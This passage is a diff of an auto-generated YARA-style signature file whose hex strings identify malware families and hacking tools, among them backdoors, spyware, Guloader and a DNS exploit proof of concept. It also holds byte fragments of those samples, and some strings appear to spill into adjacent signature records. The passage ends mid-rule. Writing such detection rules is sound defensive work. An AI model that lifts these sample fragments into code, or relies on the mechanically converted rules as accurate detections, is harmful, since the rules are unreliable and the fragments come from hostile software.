_InfrastructureShared_14387{ +rule _InfrastructureShared_15331{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -164538,7 +175534,7 @@ rule _InfrastructureShared_14387{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*20225+(#a_72_2 & 1)*29441+(#a_50_3 & 1)*-32757+(#a_72_4 & 1)*28001+(#a_61_5 & 1)*28015+(#a_50_6 & 1)*22607+(#a_04_8 & 1)*-28632) >=9 } -rule _InfrastructureShared_14388{ +rule _InfrastructureShared_15332{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -164555,7 +175551,7 @@ rule _InfrastructureShared_14388{ ((#a_4c_0 & 1)*21539+(#a_4c_1 & 1)*-32748+(#a_65_2 & 1)*22132+(#a_01_3 & 1)*2560+(#a_28_4 & 1)*5+(#a_07_5 & 1)*4363+(#a_00_6 & 1)*400+(#a_04_8 & 1)*1025) >=9 } -rule _InfrastructureShared_14389{ +rule _InfrastructureShared_15333{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 04 00 21 " @@ -164568,7 +175564,7 @@ rule _InfrastructureShared_14389{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*1025+(#a_05_2 & 1)*2820+(#a_04_3 & 1)*-28632) >=13 } -rule _InfrastructureShared_14390{ +rule _InfrastructureShared_15334{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 03 00 21 " @@ -164580,7 +175576,7 @@ rule _InfrastructureShared_14390{ ((#a_54_0 & 1)*18467+(#a_07_1 & 1)*2304+(#a_17_2 & 1)*4352) >=14 } -rule _InfrastructureShared_14391{ +rule _InfrastructureShared_15335{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -164594,7 +175590,7 @@ rule _InfrastructureShared_14391{ ((#a_46_0 & 1)*16675+(#a_34_1 & 1)*12644+(#a_65_3 & 1)*17153+(#a_01_4 & 1)*-29413+(#a_69_5 & 1)*19807) >=14 } -rule _InfrastructureShared_14392{ +rule _InfrastructureShared_15336{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0f 00 0f 00 06 00 21 " @@ -164609,7 +175605,7 @@ rule _InfrastructureShared_14392{ ((#a_54_0 & 1)*18467+(#a_0a_1 & 1)*2820+(#a_01_2 & 1)*4864+(#a_2f_3 & 1)*18771+(#a_17_4 & 1)*10+(#a_80_5 & 1)*1) >=15 } -rule _InfrastructureShared_14393{ +rule _InfrastructureShared_15337{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -164623,7 +175619,7 @@ rule _InfrastructureShared_14393{ ((#a_54_0 & 1)*18467+(#a_28_1 & 1)*400+(#a_0d_2 & 1)*5897+(#a_65_3 & 1)*24421+(#a_01_4 & 1)*29194) >=16 } -rule _InfrastructureShared_14394{ +rule _InfrastructureShared_15338{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -164637,7 +175633,7 @@ rule _InfrastructureShared_14394{ ((#a_54_0 & 1)*18467+(#a_d2_1 & 1)*400+(#a_04_2 & 1)*-28549+(#a_01_3 & 1)*-29417+(#a_42_4 & 1)*19745) >=18 } -rule _InfrastructureShared_14395{ +rule _InfrastructureShared_15339{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 05 00 21 " @@ -164650,7 +175646,7 @@ rule _InfrastructureShared_14395{ ((#a_54_0 & 1)*18467+(#a_d0_1 & 1)*4556+(#a_01_2 & 1)*28420+(#a_45_4 & 1)*19968) >=18 } -rule _InfrastructureShared_14396{ +rule _InfrastructureShared_15340{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 02 00 21 " @@ -164661,7 +175657,7 @@ rule _InfrastructureShared_14396{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*25970) >=20 } -rule _InfrastructureShared_14397{ +rule _InfrastructureShared_15341{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 06 00 21 " @@ -164676,7 +175672,7 @@ rule _InfrastructureShared_14397{ ((#a_54_0 & 1)*18467+(#a_90_1 & 1)*6421+(#a_65_2 & 1)*24943+(#a_74_3 & 1)*11877+(#a_6f_4 & 1)*21618+(#a_6d_5 & 1)*12133) >=20 } -rule _InfrastructureShared_14398{ +rule _InfrastructureShared_15342{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,16 00 16 00 07 00 21 " @@ -164691,7 +175687,7 @@ rule _InfrastructureShared_14398{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*28516+(#a_00_2 & 1)*160+(#a_72_3 & 1)*22074+(#a_65_4 & 1)*21358+(#a_6f_5 & 1)*28257) >=22 } -rule _InfrastructureShared_14399{ +rule _InfrastructureShared_15343{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffa0 00 ffffffa0 00 08 00 21 " @@ -164708,7 +175704,7 @@ rule _InfrastructureShared_14399{ ((#a_46_0 & 1)*16675+(#a_45_1 & 1)*26479+(#a_43_2 & 1)*2816+(#a_61_3 & 1)*29797+(#a_74_4 & 1)*25966+(#a_00_5 & 1)*144+(#a_07_6 & 1)*262+(#a_00_7 & 1)*44) >=160 } -rule _InfrastructureShared_14400{ +rule _InfrastructureShared_15344{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffba 04 ffffffba 04 0b 00 21 " @@ -164725,7 +175721,7 @@ rule _InfrastructureShared_14400{ ((#a_46_0 & 1)*21283+(#a_ff_1 & 1)*400+(#a_00_2 & 1)*0+(#a_53_3 & 1)*19529+(#a_00_5 & 1)*123+(#a_00_7 & 1)*0+(#a_3a_9 & 1)*19521+(#a_90_10 & 1)*3) >=1210 } -rule _InfrastructureShared_14401{ +rule _InfrastructureShared_15345{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 02 00 21 " @@ -164735,7 +175731,7 @@ rule _InfrastructureShared_14401{ ((#a_46_0 & 1)*16675) >=200 } -rule _InfrastructureShared_14402{ +rule _InfrastructureShared_15346{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -164745,7 +175741,7 @@ rule _InfrastructureShared_14402{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14403{ +rule _InfrastructureShared_15347{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -164757,7 +175753,7 @@ rule _InfrastructureShared_14403{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*73+(#a_00_2 & 1)*44) >=1 } -rule _InfrastructureShared_14404{ +rule _InfrastructureShared_15348{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -164770,7 +175766,7 @@ rule _InfrastructureShared_14404{ ((#a_5f_0 & 1)*25635+(#a_50_1 & 1)*12064+(#a_53_2 & 1)*8960+(#a_3a_3 & 1)*25972) >=1 } -rule _InfrastructureShared_14405{ +rule _InfrastructureShared_15349{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 21 " @@ -164780,7 +175776,7 @@ rule _InfrastructureShared_14405{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_14406{ +rule _InfrastructureShared_15350{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -164791,7 +175787,7 @@ rule _InfrastructureShared_14406{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*1025) >=2 } -rule _InfrastructureShared_14407{ +rule _InfrastructureShared_15351{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -164802,7 +175798,7 @@ rule _InfrastructureShared_14407{ ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*257) >=2 } -rule _InfrastructureShared_14408{ +rule _InfrastructureShared_15352{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -164812,7 +175808,7 @@ rule _InfrastructureShared_14408{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_14409{ +rule _InfrastructureShared_15353{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -164822,7 +175818,7 @@ rule _InfrastructureShared_14409{ ((#a_46_0 & 1)*21283) >=2 } -rule _InfrastructureShared_14410{ +rule _InfrastructureShared_15354{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -164834,7 +175830,7 @@ rule _InfrastructureShared_14410{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29557+(#a_90_2 & 1)*11617) >=2 } -rule _InfrastructureShared_14411{ +rule _InfrastructureShared_15355{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -164846,7 +175842,7 @@ rule _InfrastructureShared_14411{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*29742+(#a_00_2 & 1)*2) >=2 } -rule _InfrastructureShared_14412{ +rule _InfrastructureShared_15356{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 04 00 21 " @@ -164859,7 +175855,22 @@ rule _InfrastructureShared_14412{ ((#a_77_0 & 1)*19491+(#a_17_1 & 1)*1025+(#a_90_2 & 1)*-25233+(#a_04_3 & 1)*-28666) >=2 } -rule _InfrastructureShared_14413{ +rule _InfrastructureShared_15357{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 06 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 6f 62 66 65 61 75 61 2e 41 00 01 00 09 01 4c 8b d1 49 bb b8 41 ff e3 01 00 0c 01 4c 89 e1 00 00 00 00 00 55 89 e5 00 01 00 17 01 e8 00 00 00 00 c7 44 24 04 23 00 00 00 83 04 24 0d cb 66 8c } //16675 + $a_01_1 = {00 1b 01 48 b9 49 b8 49 b9 83 f9 00 74 10 41 8a 01 41 88 00 49 ff c0 49 ff c1 ff c9 eb eb 01 00 24 01 55 8b ec bb b9 49 ff 74 8d 08 75 f9 e8 00 00 00 00 58 83 c0 15 50 b8 64 8b 15 ff e3 8d 64 24 04 8b e5 5d c3 01 00 2e 01 67 48 8b 4d 10 67 48 8b 55 18 67 4c 8b 45 20 67 4c 8b 4d 28 67 48 8b 45 30 67 48 8b 7d 38 48 85 c0 74 16 48 8d 7c c7 f8 48 85 c0 74 0c ff 00 00 78 d6 00 00 03 00 03 00 03 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 48 61 63 6b 74 6f 6f 6c 73 5f 43 4e 5f 50 61 6e 64 61 5f 74 61 73 6b 73 76 72 00 01 00 2c 03 43 6f 6e 73 79 73 32 31 2e 64 6c 6c 90 19 01 09 61 2d 7a 41 2d 5a } //-28968 + $a_90_2 = {01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 01 00 3c 03 33 00 36 00 30 00 45 00 6e 00 74 00 43 00 61 00 6c 00 6c 00 2e 00 65 00 78 00 65 00 90 2c 01 09 30 2d 39 41 } //11568 + $a_2d_3 = {90 09 02 00 90 2c 01 09 30 2d 39 41 2d 5a 61 2d 7a 90 00 01 00 28 03 42 65 69 6a 69 6e 67 31 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 09 01 00 90 19 01 09 61 2d 7a 41 2d 5a 30 2d 39 90 00 00 00 78 d6 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 45 64 67 65 2e 53 65 74 75 70 00 01 00 14 01 } //23085 + $a_72_4 = {73 6f 66 74 2e 45 64 67 65 2e 53 65 74 75 70 01 00 52 01 46 00 69 00 6c 00 65 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 00 00 00 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 20 00 45 00 64 00 67 00 65 00 20 00 49 00 6e 00 73 00 74 00 61 00 6c 00 6c 00 65 00 } //26957 + $a_00_5 = {4a } //114 J + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28968+(#a_90_2 & 1)*11568+(#a_2d_3 & 1)*23085+(#a_72_4 & 1)*26957+(#a_00_5 & 1)*114) >=2 + +} +rule _InfrastructureShared_15358{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -164870,7 +175881,7 @@ rule _InfrastructureShared_14413{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-28672) >=3 } -rule _InfrastructureShared_14414{ +rule _InfrastructureShared_15359{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -164881,7 +175892,7 @@ rule _InfrastructureShared_14414{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*102) >=3 } -rule _InfrastructureShared_14415{ +rule _InfrastructureShared_15360{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -164893,7 +175904,7 @@ rule _InfrastructureShared_14415{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*0+(#a_00_2 & 1)*400) >=3 } -rule _InfrastructureShared_14416{ +rule _InfrastructureShared_15361{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -164905,7 +175916,7 @@ rule _InfrastructureShared_14416{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*25970+(#a_73_3 & 1)*24914) >=3 } -rule _InfrastructureShared_14417{ +rule _InfrastructureShared_15362{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 06 00 21 " @@ -164920,7 +175931,7 @@ rule _InfrastructureShared_14417{ ((#a_46_0 & 1)*21283+(#a_6c_1 & 1)*11778+(#a_00_2 & 1)*100+(#a_68_3 & 1)*400+(#a_01_4 & 1)*-27253+(#a_6e_5 & 1)*22330) >=3 } -rule _InfrastructureShared_14418{ +rule _InfrastructureShared_15363{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -164931,7 +175942,7 @@ rule _InfrastructureShared_14418{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*400) >=4 } -rule _InfrastructureShared_14419{ +rule _InfrastructureShared_15364{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -164944,21 +175955,35 @@ rule _InfrastructureShared_14419{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*656+(#a_00_2 & 1)*109+(#a_00_4 & 1)*30720) >=4 } -rule _InfrastructureShared_14420{ +rule _InfrastructureShared_15365{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 36 34 2f 42 65 65 6b 6c 6f 67 2e 41 21 64 68 61 00 01 00 5b 01 2d 2d 2d 2d 2d 42 45 47 49 4e 20 50 55 42 4c 49 43 20 4b 45 59 2d 2d 2d 2d 2d 0a 4d 49 49 42 49 6a 41 4e 42 67 6b 71 } //16675 剅吺潲慪卮祰场湩㐶䈯敥汫杯䄮搡慨Ā嬀ⴁⴭⴭ䕂䥇⁎啐䱂䍉䬠奅ⴭⴭਭ䥍䉉橉乁杂煫 $a_47_1 = {77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 34 49 4d 30 70 55 6c 66 65 70 37 58 45 6c 64 5a 36 68 77 62 01 00 06 01 5b 54 5d 3a 25 73 01 00 18 01 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 20 6b 65 79 20 42 49 4f 01 00 14 01 46 61 69 6c 65 64 20 74 6f 20 63 72 65 61 74 65 } //27496 - $a_41_2 = {00 06 01 61 62 2b 00 77 62 00 00 78 d6 00 00 04 00 04 00 06 00 21 23 53 4c 46 50 45 52 3a 42 61 63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 53 74 61 72 74 69 6e 67 47 75 6e 2e 41 21 64 68 61 00 04 00 1e 03 cc fa 5d 3d c7 90 02 03 27 2d 5c 05 c7 90 02 03 } //21024 - $a_43_3 = {90 02 03 ae 43 ba 58 90 00 02 00 0e 03 b2 a3 a8 21 c7 90 02 03 b9 56 4c 15 90 00 02 00 0e 03 7b 69 9d 18 c7 90 02 03 06 c5 e0 84 90 00 02 00 20 01 63 00 7a 00 79 00 62 00 4f 00 78 00 35 00 54 00 48 00 51 00 73 00 66 00 75 00 62 00 38 00 7a 00 01 00 20 01 53 00 74 00 61 00 72 00 74 00 0a 00 00 00 00 00 53 00 75 00 63 00 63 00 65 00 73 00 73 00 0a 00 01 00 12 01 2e 64 6c 6c 00 3f 49 6e 69 74 69 61 6c 69 7a 65 40 40 00 00 78 d6 00 00 04 00 04 00 09 00 21 23 41 4c 46 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 44 6e 73 45 78 70 6c 6f 69 74 50 6f 63 2e 41 21 64 68 61 00 02 00 0d 80 01 43 56 45 2d 32 30 32 30 2d 31 33 35 30 01 00 07 80 } //22396 - $a_70_4 = {6f 69 74 01 00 09 80 01 53 49 47 20 71 75 65 72 79 01 00 0a 80 01 53 49 47 20 72 65 63 6f 72 64 01 00 0b 80 01 53 69 67 57 69 72 65 52 65 61 64 01 00 0d 80 01 52 52 5f 41 6c 6c 6f 63 61 74 65 45 78 01 00 0a 80 01 44 4e 53 20 73 65 72 76 65 72 01 00 13 80 01 63 6f 6d 70 72 65 73 73 69 6f 6e 20 70 6f 69 6e 74 65 72 f6 ff 1d 80 01 59 6f 75 20 77 61 6e 74 20 74 } //25857 + $a_41_2 = {00 06 01 61 62 2b 00 77 62 00 00 78 d6 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 39 30 00 01 00 10 80 01 4d 79 50 64 66 4d 61 6e 61 67 65 72 2e 65 } //21024 + $a_00_3 = {0c } //25976 + $a_79_4 = {64 66 4d 61 6e 61 67 65 72 01 00 28 80 01 2f 4d 79 50 64 66 4d 61 6e 61 67 65 72 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 6f 66 66 65 72 73 63 72 65 65 6e 2e 78 61 6d 6c 01 00 2a 80 01 2f 4d 79 50 64 66 4d 61 6e 61 67 65 72 3b 63 6f 6d 70 } //384 condition: - ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*27496+(#a_41_2 & 1)*21024+(#a_43_3 & 1)*22396+(#a_70_4 & 1)*25857) >=4 + ((#a_46_0 & 1)*16675+(#a_47_1 & 1)*27496+(#a_41_2 & 1)*21024+(#a_00_3 & 1)*25976+(#a_79_4 & 1)*384) >=4 } -rule _InfrastructureShared_14421{ +rule _InfrastructureShared_15366{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " + + strings : + $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 39 30 00 01 00 10 80 01 4d 79 50 64 66 4d 61 6e 61 67 65 72 2e 65 78 65 01 00 0c 80 01 4d 79 50 64 66 4d 61 6e 61 67 65 72 01 } //16675 + $a_01_1 = {2f 4d 79 50 64 66 4d 61 6e 61 67 65 72 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 6f 66 66 65 72 73 63 72 65 65 6e 2e 78 61 6d 6c 01 00 2a 80 01 2f 4d 79 50 64 66 4d 61 6e 61 67 65 72 3b 63 6f 6d 70 6f 6e 65 6e 74 2f 77 65 6c 63 6f 6d 65 73 63 72 65 65 6e 2e 78 61 6d 6c 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 d6 00 00 04 00 } //10240 + $a_00_2 = {21 23 53 4c 46 50 } //4 !#SLFP + $a_42_3 = {63 6b 64 6f 6f 72 3a 57 69 6e 33 32 2f 53 74 61 72 74 69 6e 67 47 75 6e 2e 41 21 64 68 61 00 04 00 1e 03 cc fa 5d 3d c7 90 02 03 27 2d 5c 05 c7 90 02 03 7c 57 d5 43 c7 90 02 } //21061 + $a_ba_4 = {90 00 02 00 0e 03 b2 a3 a8 21 c7 90 02 03 b9 56 4c 15 90 00 02 00 0e 03 7b 69 9d 18 c7 90 02 03 06 c5 e0 84 90 00 02 00 20 01 63 00 7a 00 79 00 62 00 4f 00 78 00 35 00 54 00 48 00 51 00 73 00 66 00 75 } //-20989 + condition: + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*10240+(#a_00_2 & 1)*4+(#a_42_3 & 1)*21061+(#a_ba_4 & 1)*-20989) >=4 + +} +rule _InfrastructureShared_15367{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -164972,7 +175997,7 @@ rule _InfrastructureShared_14421{ ((#a_46_0 & 1)*21283+(#a_90_1 & 1)*8616+(#a_00_2 & 1)*29801+(#a_49_3 & 1)*384+(#a_20_4 & 1)*28521) >=4 } -rule _InfrastructureShared_14422{ +rule _InfrastructureShared_15368{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 09 00 21 " @@ -164990,7 +176015,7 @@ rule _InfrastructureShared_14422{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*31090+(#a_49_2 & 1)*384+(#a_6f_3 & 1)*384+(#a_65_4 & 1)*37+(#a_74_5 & 1)*19969+(#a_44_6 & 1)*20828+(#a_50_7 & 1)*-32749+(#a_20_8 & 1)*24918) >=4 } -rule _InfrastructureShared_14423{ +rule _InfrastructureShared_15369{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -165004,7 +176029,7 @@ rule _InfrastructureShared_14423{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*29283+(#a_64_2 & 1)*17217+(#a_01_3 & 1)*30821+(#a_20_4 & 1)*24918) >=5 } -rule _InfrastructureShared_14424{ +rule _InfrastructureShared_15370{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -165018,7 +176043,7 @@ rule _InfrastructureShared_14424{ ((#a_6c_0 & 1)*16675+(#a_65_1 & 1)*25938+(#a_41_2 & 1)*19529+(#a_30_3 & 1)*14130+(#a_75_4 & 1)*780) >=5 } -rule _InfrastructureShared_14425{ +rule _InfrastructureShared_15371{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -165032,7 +176057,7 @@ rule _InfrastructureShared_14425{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*17721+(#a_70_2 & 1)*29285+(#a_62_3 & 1)*25963+(#a_65_4 & 1)*31080) >=5 } -rule _InfrastructureShared_14426{ +rule _InfrastructureShared_15372{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -165046,7 +176071,7 @@ rule _InfrastructureShared_14426{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*8302+(#a_55_2 & 1)*29550+(#a_6b_3 & 1)*24878+(#a_01_4 & 1)*3327) >=5 } -rule _InfrastructureShared_14427{ +rule _InfrastructureShared_15373{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -165063,7 +176088,7 @@ rule _InfrastructureShared_14427{ ((#a_46_0 & 1)*16675+(#a_73_1 & 1)*28516+(#a_9c_2 & 1)*30821+(#a_7a_3 & 1)*18028+(#a_62_4 & 1)*18794+(#a_32_5 & 1)*11569+(#a_74_6 & 1)*28233+(#a_1f_7 & 1)*4443) >=5 } -rule _InfrastructureShared_14428{ +rule _InfrastructureShared_15374{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165078,7 +176103,7 @@ rule _InfrastructureShared_14428{ ((#a_46_0 & 1)*16675+(#a_51_1 & 1)*29749+(#a_33_2 & 1)*12377+(#a_36_3 & 1)*13357+(#a_73_4 & 1)*25458+(#a_6e_5 & 1)*27247) >=6 } -rule _InfrastructureShared_14429{ +rule _InfrastructureShared_15375{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165087,12 +176112,12 @@ rule _InfrastructureShared_14429{ $a_6d_1 = {2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 09 01 41 70 70 44 6f 6d 61 69 6e 01 00 0c 01 74 45 58 74 53 6f 66 74 77 61 72 65 01 00 12 01 49 53 75 70 70 6f 72 74 49 6e 69 74 69 61 6c 69 7a 65 01 00 1a 01 51 75 69 7a 47 61 6d 65 2e 46 72 } //18298 $a_66_2 = {2e 72 65 73 6f 75 72 63 65 73 00 00 78 d6 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4a 4b 49 32 38 21 4d 54 42 00 01 00 2c 01 07 06 18 6f 5c 00 00 0a 13 09 09 06 18 5b 11 09 1f 10 28 5d 00 00 0a d2 9c 06 18 58 0a 06 07 6f 5b 00 00 0a fe 04 13 0a 11 0a 2d } //18797 $a_4e_4 = {2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 07 81 01 52 65 76 65 72 73 65 01 00 07 81 01 52 65 70 6c 61 63 65 01 00 06 81 01 49 6e 76 6f 6b 65 01 00 25 81 01 24 37 66 31 30 } //20737 - $a_33_5 = {62 37 38 32 2d 34 38 38 61 2d 61 61 62 66 2d 33 36 65 66 66 65 31 63 39 30 39 61 00 00 78 d6 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 48 47 55 31 32 33 21 4d 54 42 00 01 00 25 81 01 69 6e 74 6f 72 74 73 20 73 74 6f 66 73 6b 69 66 74 65 73 79 67 64 } //13616 + $a_33_5 = {62 37 38 32 2d 34 38 38 61 2d 61 61 62 66 2d 33 36 65 66 66 65 31 63 39 30 39 61 00 00 78 d6 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 59 30 31 21 4d 54 42 00 01 00 14 81 01 64 6f 7a 65 72 6e 65 5c 66 69 6c 76 72 6b 74 6a 2e 74 78 74 01 00 17 81 } //13616 condition: ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*18298+(#a_66_2 & 1)*18797+(#a_4e_4 & 1)*20737+(#a_33_5 & 1)*13616) >=6 } -rule _InfrastructureShared_14430{ +rule _InfrastructureShared_15376{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -165107,7 +176132,21 @@ rule _InfrastructureShared_14430{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_14431{ +rule _InfrastructureShared_15377{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 59 30 31 21 4d 54 42 00 01 00 14 81 01 64 6f 7a 65 72 6e 65 5c 66 69 6c 76 72 6b 74 6a 2e 74 78 74 01 00 17 81 01 73 70 72 61 79 65 72 6e 65 73 5c 70 61 72 61 62 65 6c 73 2e 62 69 6e 01 00 1b 81 } //18467 + $a_61_1 = {6f 72 6e 73 33 39 5c 62 69 62 65 74 79 64 6e 69 6e 67 65 72 6e 65 73 01 00 17 81 01 73 69 6e 69 6b 61 73 5c 70 69 70 70 69 6e 5c 44 6f 65 62 65 72 65 6e 01 00 14 81 01 49 6e 74 65 72 67 6c 6f 62 75 6c 61 72 32 34 35 2e 75 6e 73 01 00 1f 81 01 45 6b 73 74 65 6d 70 6f 72 61 6c 73 70 69 6c 6c 65 74 5c 73 } //20993 + $a_65_2 = {65 73 2e 65 78 65 00 00 78 d6 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 